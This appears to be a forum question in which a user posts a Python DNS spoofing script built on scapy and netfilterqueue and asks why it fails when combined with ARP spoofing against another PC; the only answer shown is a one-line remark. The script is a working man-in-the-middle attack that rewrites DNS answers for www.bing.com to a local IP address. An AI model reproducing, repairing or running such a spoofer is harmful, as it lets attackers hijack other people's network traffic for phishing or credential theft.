Why is DNS spoofer not working?

Question

Python

The error is that if I use the script on my PC it works, but
when I try to use it with ARP Spoofer on another PC, then for some reason the packet I receive is missing the DNS level
Please help if anyone knows how to do this to correct!

#!/usr/bin/env python

import scapy.all as scapy
import netfilterqueue


def process_pack(packet):
    scapy_pack = scapy.IP(packet.get_payload())
    if scapy_pack.haslayer(scapy.DNSRR):
        print(scapy_pack.show())
        qname = scapy_pack[scapy.DNSQR].qname
        print(str(qname))
        if "www.bing.com" in qname:
            print("[+] Spoofing target, url >> " + qname)
            scapy_pack[scapy.DNS].ancount = 1
            answer = scapy.DNSRR(rrname=qname, rdata="192.168.1.91")
            scapy_pack[scapy.DNS].an = answer

            del scapy_pack[scapy.IP].len
            del scapy_pack[scapy.IP].chksum
            del scapy_pack[scapy.UDP].chksum
            del scapy_pack[scapy.UDP].len

            packet.set_payload(str(scapy_pack))
    packet.accept()


queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_pack)
queue.run()

Answer 1

Sketched an approximate implementation in half an hour . Yes, it could have been prettier, but the principle here, I think, is clear.